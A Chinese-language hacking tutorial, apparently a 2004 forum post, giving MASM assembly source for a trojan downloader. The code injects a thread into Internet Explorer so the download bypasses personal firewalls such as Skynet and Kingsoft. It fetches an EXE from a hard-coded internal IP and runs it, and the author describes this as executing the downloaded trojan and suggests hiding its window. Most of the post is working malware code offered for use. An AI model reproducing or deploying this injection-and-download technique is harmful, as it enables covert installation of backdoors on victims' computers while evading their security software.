教你注入下载文件的代码到IE进程然后下载的文件

大家可能都用过网页木马来下真正的EXE木马吧,但是有些时候
后门比较大下载的时候常常是网页暂停或是报错(CHM木马常遇到)
所以写了这个程序。。。。 程序还要改下才好用哈,不过只有2kb很小了。。。。 编绎参数:
C:\masm32\BIN>type ii.bat
ml /c /coff i.asm
link /subsystem:windows i.obj 刚才测试了一下可以逃过天网的应用程序防问网络限制金山网镖也肯定没问题。
; #--------------------------------------# #
; # Injection downloadcode in IE --> # #
; # -->also it can jump personal fire wall # #
; # 2004.07.15 #
; # codz: czy # #
; #------------------------------------------# # ;test on win2k server sp4 masm8 .386
.model flat,stdcall
option casemap:none include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ’2K下建远程线程’,0
tit db ’IEFrame’,0
szFormat db ’PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
path1 db ’c:\a.EXE’,0 .const
szmsg db ’URLDownloadToFileA’,0
userdll db ’Urlmon.dll’,0
;szmsg db ’MessageBoxA’,0
;userdll db ’User32.dll’,0
szloadlib db ’LoadLibraryA’,0 ;注意和LoadLibraryW的区别哟
kerdll db ’kernel32.dll’,0 .code
codebegin:
dispdata db "http://192.168.0.5/NBTreeList.exe",0
szTit db "c:\a.exe",0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址为参数
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX dispdata]
LEA EDX,[EBX szTit]
push NULL
push 0
push edx
push ecx
push NULL
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代码长度xx字节 start:
;invoke FindWindow,0,offset tit ;返回计算器窗口句柄
invoke FindWindow,offset tit,0
invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄
mov hProcess,eax ;保存进程句柄
invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL mov esi,pCodeRemote
add esi,datalen
push esi
invoke LoadLibrary,offset userdll
invoke GetProcAddress,eax,offset szmsg
pop esi
invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0 mov hThread,eax ; 返回线程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待线程结束
invoke CloseHandle,hThread ;关闭线程句柄
.endif invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间
invoke CloseHandle,hProcess ;关闭进程句柄
invoke WinExec,offset path1,SW_SHOW ;以正常方式执行下载的木马。。到时候改一下就没窗口了。。
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start